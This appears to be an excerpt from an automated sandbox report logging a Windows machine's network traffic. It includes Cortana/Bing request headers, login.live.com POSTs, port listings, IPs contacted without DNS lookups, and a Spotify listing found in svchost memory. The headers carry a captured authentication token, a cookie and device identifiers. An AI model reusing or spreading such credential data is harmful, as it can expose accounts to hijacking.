p%3DX-Agent-DeviceId: 0100748C09001CEAX-BM-CBT: 1658403206User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.10.7.17134; 10.0.0.0.17134.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134X-Device-isOptin: trueAccept-language: en-US, enX-Device-Touch: falseX-Device-ClientSession: 7CE49D80A29C4452B1199C8FD5846D18X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIX-BM-ClientFeatures: pbitcpdisabled,AmbientWidescreen,rs1musicprod,CortanaSPAXamlHeaderHost: www.bing.comConnection: Keep-AliveCookie: MUID=54AD14FB4D1E4A6C815A867991009454
Source: global traffic	HTTP traffic detected: GET /proactive/v2/spark?cc=US&setLang=en-US HTTP/1.1X-Search-CortanaAvailableCapabilities: CortanaExperience,SpeechLanguageX-Search-SafeSearch: ModerateAccept-Encoding: gzip, deflateX-Device-MachineId: {A2AB526A-D38D-4FC9-8BA0-E34B8D6354E8}X-Device-IsBatteryCertified: falseX-UserAgeClass: UnknownX-BM-Market: USX-BM-DateFormat: M/d/yyyyX-CortanaAccessAboveLock: falseX-Device-OSSKU: 48X-Device-IsBatteryEnabled: falseX-Device-NetworkType: ethernetX-BM-DTZ: -420X-BM-FirstEnabledTime: 132061387448759736X-DeviceID: 0100748C09001CEAX-VoiceActivationOn: falseX-Device-AudioCapture: Microphone (High Definition Audio Device)X-Search-TimeZone: Bias=480; DaylightBias=-60; TimeZoneKeyName=Pacific Standard TimeX-BM-Theme: 000000;0078d7X-Search-RPSToken: t%3DEwDYAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAAd9178bnU4RKBi7AgTvtgZySoxeFBmjdfbecF3eX%2BW7mCzfWutu28MM%2Bl7SbjT7iqNiDxiWnzybuOA9LTqh/466Q3/gBn0KzBmeJKxh0rdayvStJzh/nFtemQyFZd3D4l2shbbUWZQhntsNiOQGvXdbYJGsFNb%2BjFZUM4Rew7C%2B4wms4gW5ZM4t35VYw6E/ich2RiMAKJ8aSxpg9sA4s8/r0Dgym6I7aLIo77oDvTPgO5fJBl4jf8UTVq853JiUPXMsaH69/TnhlYxmmVII%2B1y9GAg3MeJCEw0LGgjCZSrDAo2iTtsM0VcuOoibwFlVagb2fQMcuGVSHOFCg%2BMCJuLQDZgAACLzHcj/KhM8gqAFSwchQS/bSwPtRZMAe0N38BtrFsC88R04CGTGYeG/fTcJlz87F8b9i0/IGnLQcaowB9ou1Y7x8slgQycsKYfHn%2BHE14LpCYHc/yx0S1h9gAlnTELekTGzIv4hZaqtEXZ9oqbwhpktmHmWTH3xwgo89wmtQpRLhbo7zEq2emHgtT%2BOK4RhCSdfmbUo40Oza6hqv%2B08R16vRcECjtAZwNM%2B8Ki6qXBRMZJsHYYPlMGDGoFvcSzb6FCC9UWxwzwKqmjno0o3FFXRygNEGM8wLUAVL%2B/rJVNuZ%2BbPOL0g/xbYORdn9uMv2k/9g03VGX53pHnVRl2Lw2PXmLiKpC6tRYIAkXfLnsch8wnv%2Bf8ZsBG66pV7CeBbvP4QJxtqjI9fBn4GqT38ifGS0Lg%2BKvORF2WG3m387G09slzJgacQBPugcMhJb10950fd2k0GzTA%2BzV%2B3zBNWdEHea1T42Bwd4AwGNC3YWVCGcCJH3WZWrvPMLXHq3xBB36zQAWO%2B03Yp9cNJEiUxXf3y1HBo0It7VnYBYLbbN6y%2BYALdEkKCPsGFOWGPNpbqDScTJ1gE%3D%26p%3DX-Agent-DeviceId: 0100748C09001CEAX-BM-CBT: 1658403206User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.10.7.17134; 10.0.0.0.17134.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134X-Device-isOptin: trueAccept-language: en-US, enX-Device-IsEnergyHero: falseX-Device-Touch: falseX-Device-ClientSession: 7CE49D80A29C4452B1199C8FD5846D18X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIX-BM-ClientFeatures: pbitcpdisabled,AmbientWidescreen,rs1musicprod,CortanaSPAXamlHeaderHost: www.bing.comConnection: Keep-AliveCookie: MUID=54AD14FB4D1E4A6C815A867991009454
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RE4Ivzm?ver=ad40 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RE4Pjc1?ver=a739 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RE4IzXJ?ver=8fd8 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RE4RDT5?ver=690d HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RE4PtWe?ver=aadd HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RE4RyGF?ver=0d75 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: /User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4683Host: login.live.com
Source: global traffic	HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: /User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4683Host: login.live.com
Source: global traffic	HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: /User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4683Host: login.live.com

Source: unknown

Network traffic detected: IP country count 18

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50174
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52473
Source: unknown	Network traffic detected: HTTP traffic on port 51805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52685 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53572
Source: unknown	Network traffic detected: HTTP traffic on port 52255 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52362
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50184
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56043
Source: unknown	Network traffic detected: HTTP traffic on port 52203 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51717
Source: unknown	Network traffic detected: HTTP traffic on port 65198 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50186
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52365
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53696
Source: unknown	Network traffic detected: HTTP traffic on port 53832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53649 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52251
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52250
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 50204 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54104 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 51713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52141 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52410 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52255
Source: unknown	Network traffic detected: HTTP traffic on port 50332 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52259
Source: unknown	Network traffic detected: HTTP traffic on port 50762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52197 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50291 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52141
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52142
Source: unknown	Network traffic detected: HTTP traffic on port 50269 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65323
Source: unknown	Network traffic detected: HTTP traffic on port 50326 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50549 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52147
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51851
Source: unknown	Network traffic detected: HTTP traffic on port 54035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52150
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53649
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53768
Source: unknown	Network traffic detected: HTTP traffic on port 54097 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65198
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65197
Source: unknown	Network traffic detected: HTTP traffic on port 53627 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53765
Source: unknown	Network traffic detected: HTTP traffic on port 52689 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52259 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52285 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50824
Source: unknown	Network traffic detected: HTTP traffic on port 53836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52200
Source: unknown	Network traffic detected: HTTP traffic on port 50209 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52685
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52320
Source: unknown	Network traffic detected: HTTP traffic on port 52362 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52205
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52689
Source: unknown	Network traffic detected: HTTP traffic on port 54036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50269
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52203
Source: unknown	Network traffic detected: HTTP traffic on port 53765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52147 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54517
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52573
Source: unknown	Network traffic detected: HTTP traffic on port 50208 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50429 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53317 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 50551 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50203 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53317
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 52142 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52586
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51495
Source: unknown	Network traffic detected: HTTP traffic on port 52473 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50291
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54097
Source: unknown	Network traffic detected: HTTP traffic on port 53637 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53969
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53966
Source: unknown	Network traffic detected: HTTP traffic on port 53967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50174 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50546 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53572 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50202 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50332
Source: unknown	Network traffic detected: HTTP traffic on port 51580 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52752
Source: unknown	Network traffic detected: HTTP traffic on port 52429 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50186 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52096
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52573 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52200 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53627
Source: unknown	Network traffic detected: HTTP traffic on port 52160 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52410
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54036
Source: unknown	Network traffic detected: HTTP traffic on port 52320 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52414
Source: unknown	Network traffic detected: HTTP traffic on port 59616 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50431 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51495 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53630 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52429
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53637
Source: unknown	Network traffic detected: HTTP traffic on port 52251 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53630
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59616
Source: unknown	Network traffic detected: HTTP traffic on port 50855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50207 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51580
Source: unknown	Network traffic detected: HTTP traffic on port 53715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52586 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54517 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52038
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52160
Source: unknown	Network traffic detected: HTTP traffic on port 53768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52042
Source: unknown	Network traffic detected: HTTP traffic on port 50184 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52285
Source: unknown	Network traffic detected: HTTP traffic on port 52096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50546
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50548
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50547
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50429
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50549
Source: unknown	Network traffic detected: HTTP traffic on port 50547 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54104
Source: unknown	Network traffic detected: HTTP traffic on port 53966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50201 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52049
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54105
Source: unknown	Network traffic detected: HTTP traffic on port 52101 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52150 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52365 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64946
Source: unknown	Network traffic detected: HTTP traffic on port 51851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53696 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50548 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52414 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65197 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51760
Source: unknown	Network traffic detected: HTTP traffic on port 50200 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50551
Source: unknown	Network traffic detected: HTTP traffic on port 52250 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50431
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53700
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51763
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52205 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50326
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50204
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53836
Source: unknown	Network traffic detected: HTTP traffic on port 54105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50207
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50209
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50208
Source: unknown	Network traffic detected: HTTP traffic on port 53700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50201
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50200
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50203
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50202
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52197
Source: unknown	Network traffic detected: HTTP traffic on port 65323 -> 443

Source: unknown	TCP traffic detected without corresponding DNS query: 20.82.209.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.82.209.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.82.209.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.82.209.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.82.209.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.82.209.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.82.209.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.82.209.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.82.209.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.82.209.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.82.209.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.82.209.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.82.209.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.82.209.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.82.209.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.82.209.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.82.209.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.82.209.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.82.209.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.82.209.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.82.209.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.82.209.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.82.209.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.82.209.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.131
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.3
Source: unknown	TCP traffic detected without corresponding DNS query: 182.11.224.89
Source: unknown	TCP traffic detected without corresponding DNS query: 102.75.167.167
Source: unknown	TCP traffic detected without corresponding DNS query: 34.233.128.110

Source: svchost.exe, 00000018.00000003.613705014.0000026AB7970000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify - Music and Podcasts","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"podcasts","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG", equals www.facebook.com (Facebook)
Source: svchost.exe, 00000018.00000003.613705014.0000026AB7970000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify - Music and Podcasts","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free 